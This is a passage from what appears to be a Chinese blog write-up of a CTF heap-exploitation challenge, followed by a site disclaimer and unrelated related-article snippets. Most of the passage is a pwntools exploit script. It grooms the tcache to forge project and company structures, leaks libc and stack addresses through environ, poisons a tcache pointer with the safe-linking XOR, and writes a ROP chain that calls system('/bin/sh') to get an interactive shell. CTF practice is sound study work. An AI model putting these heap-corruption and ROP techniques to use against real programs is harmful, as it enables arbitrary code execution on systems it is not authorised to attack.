#0x50 [  4]: 0x584af5e755c0 —▸ 0x584af5e73600 —▸ 0x584af5e74850 —▸ 0x584af5e746c0 ◂— 0

sell_company(b"wait2 ") 
sell_company(b"wait3 ") 
sell_company(b"wait1 ")   
sell_company(b"wait4 ")   


target_leak_libc_chunk=heap+0x164a0+0X20+0x10
payload=p64(target_leak_libc_chunk)+p64(0x40)+p64(0x40)+p64(0x13580+heap)+b"0"*0x20
fake_project=payload+p64(heap+0x13600)[:6]
add_company(fake_project+b" ",str(1200).encode())


add_company(b"l"*0x400+b" ",str(1200).encode())




worker_info(str(41).encode())
p.recvuntil(b"Project name: ")
libc=u64(p.recv(6).ljust(8,b"\x00"))-0x203b20
print("leak libc",hex(libc))


sell_company(fake_project+b" ")

add_company(b"get_money ",str(1200).encode())
add_project(b"get_money ",b"money ",b"1000000 ")

for i in range(0x10):
    elapse_week()


sell_company(b"get_money ")


add_company(b"wait1 ",str(1200).encode())
add_company(b"wait2 ",str(1200).encode())
add_company(b"wait3 ",str(1200).encode())
add_company(b"wait4 ",str(1200).encode())


sell_company(b"wait3 ") 
sell_company(b"wait1 ")  
sell_company(b"wait2 ")  
sell_company(b"wait4 ")   




environ=libc+0x20ad58
target_leak_libc_chunk=environ
payload=p64(target_leak_libc_chunk)+p64(0x40)+p64(0x40)+p64(0x13580+heap)+b"0"*0x20
fake_project=payload+p64(heap+0x13600)[:6]
add_company(fake_project+b" ",str(1200).encode())
worker_info(str(41).encode())
p.recvuntil(b"Project name: ")
stack=u64(p.recv(6).ljust(8,b"\x00"))-0x138
print("leak stack",hex(stack))



# sell_company(fake_project+b" ")
# #0x50 [  4]: 0x5caac3a18530 —▸ 0x5caac3a15600 —▸ 0x5caac3a166c0 —▸ 0x5caac3a16850 ◂— 0

# add_company(b"wait1 ",str(1200).encode())
# add_company(b"wait2 ",str(1200).encode())
# add_company(b"wait3 ",str(1200).encode())
# add_company(b"wait4 ",str(1200).encode())


# sell_company(b"wait3 ") 
# sell_company(b"wait1 ")  
# sell_company(b"wait2 ")  
# sell_company(b"wait4 ")   



# arbitary address write heap
add_company(b"llk4 ",str(1200).encode())

add_project(b"llk4 ",b"pwn ",b"1000000 ")

for i in range(40):
    hire_worker(b"llk4 ",b"pwn ",str(i+80).encode(),str(30).encode())


hire_worker(b"llk4 ",b"pwn ",p64(stack)+0x28*b"k",str(0).encode())

elapse_week()

sell_company(b"llk4 ")

#0x50 [  3]: 0x5fc4408c4530 —▸ 0x5fc4408c2850 —▸ 0x5fc4408c46c0 ◂— 0

add_company(b"wait1 ",str(1200).encode())
add_company(b"wait2 ",str(1200).encode())
add_company(b"wait3 ",str(1200).encode())
add_company(b"wait4 ",str(1200).encode())

#0x50 [  4]: 0x584af5e755c0 —▸ 0x584af5e73600 —▸ 0x584af5e74850 —▸ 0x584af5e746c0 ◂— 0

sell_company(b"wait2 ") 
sell_company(b"wait3 ") 
sell_company(b"wait1 ")   
sell_company(b"wait4 ")   

p.recv(timeout=5)



# cober fake project 1 , it need fake workers vector  and fake company
payload=p64(0x18090+heap)+p64(0x1d)+p64(0x1e)+p64(0x13580+heap)+b"0"*0x8+p64(heap+0x13550)+p64(heap+0x13558)+p64(heap+0x13558)
fake_project_1=payload+p64(heap+0x17ec0)[:6]  
add_company(fake_project_1+b" ",str(1001).encode())  

# fake project 1's  fake workers vector 
fake_project_1_fake_workers_vector=( p64(heap+0x17c60) ).ljust(0x20,b"a") 
add_company(fake_project_1_fake_workers_vector+b" ",str(1002).encode())  


#  fake company's fake vector project
fake_vector_project=(p64(0)+p64(0)+p64(heap+0x14850)+p64(heap+0x18010)).ljust(0x20,b"a")
add_company(fake_vector_project+b" ",str(1003).encode())  





# fake project 1's  fake company
payload=p64(target_leak_libc_chunk)+p64(0x40)+p64(0x40)+p64(0x13580+heap)+b"0"*0x10
fake_company=p64(0)+p64(0)+payload+p64(heap+0x13530)+p64(heap+0x13540)+p64(heap+0x13540)
add_company(fake_company+b" ",str(1004).encode())  



context(os="linux",arch="amd64",log_level="debug")
# fake project 2   ,will construt vector as tcache_struct 
payload=p64(0x18060+heap)+p64(0x1d)+p64(0x1e)+p64(0x13580+heap)+b"0"*0x8+p64(0x100+heap)+p64(0x108+heap)+p64(0x110+heap)
fake_project_2=payload+p64(heap+0x17ec0)[:6]  
add_company(fake_project_2+b" ",str(1005).encode()) 

# fake project 2  string name
add_company(b"project_2_project_2_name_name ",str(1006).encode())
# fake project 1  string name
add_company(b"project_1_project_1_name_name ",str(1006).encode())
# fake company string name
add_company(b"company_name_company_name ",str(1006).encode())




# add_company(p64(stack)+p64(0),str(1007).encode())  

# add_company(p64(0),str(1007).encode()) # padding
# add_company(p64(0),str(1007).encode()) # padding

add_company(b"a"*0x100+b" ",str(1007).encode()) # padding
add_company(b"b"*0x100+b" ",str(1007).encode()) # padding


add_company(b"a"*0x30+b" ",str(1007).encode()) # padding 0x40



move_worker(p64(stack)+0x28*b"k"+b" ",b"project_2_project_2_name_name ")

gdb.attach(p)




fire_worker(p64(stack)+0x28*b"k"+b" ")


sell_company(b"a"*0x30)



payload=(p64(stack-0x10^((heap+0x17000)>>12))).ljust(0x30,b"a")

add_company(payload+b" ",str(1007).encode())

sell_company(b"a"*0x100)
sell_company(b"b"*0x100)
pop_rdi_ret=libc+0x000000000010f75b
system=libc+0x58740
bin_sh=libc+0x1cb42f
ret=libc+0x000000000002882f
payload=(p64(0)+p64(0)+p64(0)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)).ljust(0x100,b"\x00")
add_company(payload+b" ",str(1008).encode())

p.send(b"\n")
p.interactive()


在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2094897.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

集成电路学习:什么是FPGA现场可编程门阵列

一、FPGA&#xff1a;现场可编程门阵列 FPGA&#xff0c;全称Field Programmable Gate Array&#xff0c;即现场可编程门阵列&#xff0c;是一种超大规模可编程逻辑器件。它由可编程逻辑资源、可编程互连资源和可编程输入输出资源组成&#xff0c;主要用于实现以状态机为主要特…

【计算机组成原理】七、输入/输出系统:2.I/O接口、I/O控制方式

I/O接口、I/O控制方式 2. I/O接口 文章目录 I/O接口、I/O控制方式2. I/O接口2.1 I/O接口的作用2.2 结构2.3 工作原理2.4 I/O端口2.5 分类 3. I/O控制方式3.1程序查询方式3.2程序中断方式3.2.1中断系统3.2.2工作流程3.2.3多重中断与中断屏蔽技术3.2.4程序中断方式 3.3DMA控制方…

Excel技巧(二)

函数 SUMIFS函数 用于计算其满足多个条件的全部参数的总量 语法&#xff1a;SUMIFS(sum_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...) COUNTIFS函数 计算多个区域中满足给定条件的单元格的个数 语法&#xff1a;countifs(criteria_range1,crit…

【Python报错已解决】`ModuleNotFoundError: No module named ‘graphviz‘`

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言&#xff1a; 在开发过程中&#xff0c;你是否遇到过尝试导入graphviz模块时遇到了ModuleNotFoundError: No module named …

突发:Runway删库跑路,备受瞩目的Stable Diffusion v1.5不见了!

Runway AI, Inc.创立于2018年&#xff0c;总部位于美国纽约州New York&#xff0c;Runway 是一家应用人工智能研究公司。Runway在谷歌领投的D轮融资中募集到约一亿美元。Runway不仅是投资界的新星&#xff0c;其产品Runway ML参与制作的《瞬息全宇宙》更是斩获了奥斯卡最佳女主…

Mysql基础练习题 1084.销售分析 (力扣)

编写解决方案&#xff0c;报告 2019年春季 才售出的产品。即 仅 在 2019-01-01 &#xff08;含&#xff09;至 2019-03-31 &#xff08;含&#xff09;之间出售的商品 题目链接&#xff1a; https://leetcode.cn/problems/sales-analysis-iii/description/ 建表插入数据&…

【超音速 专利 CN116109587A】一种复杂环境下密封钉焊缝质量检测方法

申请号CN202310066309.X公开号&#xff08;公开&#xff09;CN116109587A申请日2023.01.12申请人&#xff08;公开&#xff09;超音速人工智能科技股份有限公司(833753)发明人&#xff08;公开&#xff09;张俊峰(总); 陈炯标 原文摘要 本发明公开了一种复杂环境下密封钉焊缝…

Javascript常见面试手写题

Javascript常见面试手写题 欢迎Star ⭐️ github 通过自动化脚本&#xff0c;每次push会自动跑单测 100%单测通过,每一个方法都使用jest单元测试进行了验证 后续会持续更新 单测报告 每次push自动生成测试报告 覆盖率单测概览 函数 题目描述1.防抖2.节流5.深浅拷贝6.发…

计算机毕业设计选题推荐-客栈管理系统-酒店预订-民宿管理系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Unity编辑器扩展之Scene视图扩展

内容将会持续更新&#xff0c;有错误的地方欢迎指正&#xff0c;谢谢! Unity编辑器扩展之Scene视图扩展 TechX 坚持将创新的科技带给世界&#xff01; 拥有更好的学习体验 —— 不断努力&#xff0c;不断进步&#xff0c;不断探索 TechX —— 心探索、心进取&#xff01; …

农产品智慧物流系统论文

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#x…

【比较】数据字节串/字串比较指令 (CMPSB/CMPSW),数据字节串/字串检索指令(SCASB/SCASW)的区别

&#x1f31f; 嗨&#xff0c;我是命运之光&#xff01; &#x1f30d; 2024&#xff0c;每日百字&#xff0c;记录时光&#xff0c;感谢有你一路同行。 &#x1f680; 携手启航&#xff0c;探索未知&#xff0c;激发潜能&#xff0c;每一步都意义非凡。 数据字节串/字串比较…

【卡码网C++基础课 14.链表的基础操作2】

目录 题目描述与分析代码编写 题目描述与分析 题目描述&#xff1a; 请编写一个程序&#xff0c;实现以下操作&#xff1a; 构建一个单向链表&#xff0c;链表中包含一组整数数据&#xff0c;输出链表中的第 m 个元素&#xff08;m 从 1 开始计数&#xff09;。 要求&#xf…

python-数组距离

题目描述 已知元素从小到大排列的两个数组 x[] 和 y[]&#xff0c;请写出一个程序算出两个数组彼此之间差的绝对值中最小的一个&#xff0c;这叫做数组的距离。输入格式&#xff1a; 输入共 3 行。 第一行为两个整数 m,n&#xff0c;分别代表数组 f[],g[] 的长度。 第二行有 m …

32力扣 最长有效括号

dp方法&#xff1a; class Solution { public:int longestValidParentheses(string s) {int ns.size();vector<int> dp(n,0);if(n0 || n1) return 0;if(s[0]( && s[1])){dp[1]2;}for(int i2;i<n;i){if(s[i])){if(s[i-1](){dp[i]dp[i-2]2;}else if(s[i-1])){i…

ESXi 失败 – “scsi0:0”的磁盘类型 2 不受支持或无效。请确保磁盘已导入

在导入vm虚拟机到exsi时导入后报错了 解决方法&#xff1a; 连接到exsi 进入到数据存储虚拟机所在的文件夹后 然后输入以下命令 vmkfstools -i oldfile.vmdk newfile.vmdk -d thin 转换完成后会显示Clone 100% done。 以下为具体详细的步骤 需要用VMware的工具”vmkfstoo…

《机器学习》周志华-CH5(神经网络)

5.1神经元模型 机器学习中谈论神经网络指“神经网络学习”。 神经网络基本成分是神经元(neuron)和模型 1943年&#xff0c;McCulloch and Pitts:M-P神经元模型 5.2感知机与多层网络 感知机(Perceptron)由两层神经元组成&#xff0c;又称“阈值逻辑单元(threshold logic unit)”…

Spring Cloud Alibaba 快速学习之 Gateway

1 引言 Gateway顾名思义就是“网关”的意思&#xff0c;旨在为微服务提供统一的访问入口&#xff0c;然后转发到各个微服务&#xff0c;通常可以在网关中统一做安全认证、监控、限流等等功能&#xff0c;避免每个微服务都重复实现这些功能。 2 代码 本章演示的项目基于Sprin…

如何使用MabatisPlus

一. 引入相关的Maven依赖 例如下面我所引用的依赖 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.3.1</version></dependency>二.将写好的mapper继承BaseMap…

ref 和 reactive 区别

前言 ref 和 reactive是Vue 3中响应式编程的核心。在Vue中&#xff0c;响应式编程是一种使数据与UI保持同步的方式。当数据变化时&#xff0c;UI会自动更新&#xff0c;反之亦然。这种机制大大简化了前端开发&#xff0c;使我们能够专注于数据和用户界面的交互&#xff0c;而不…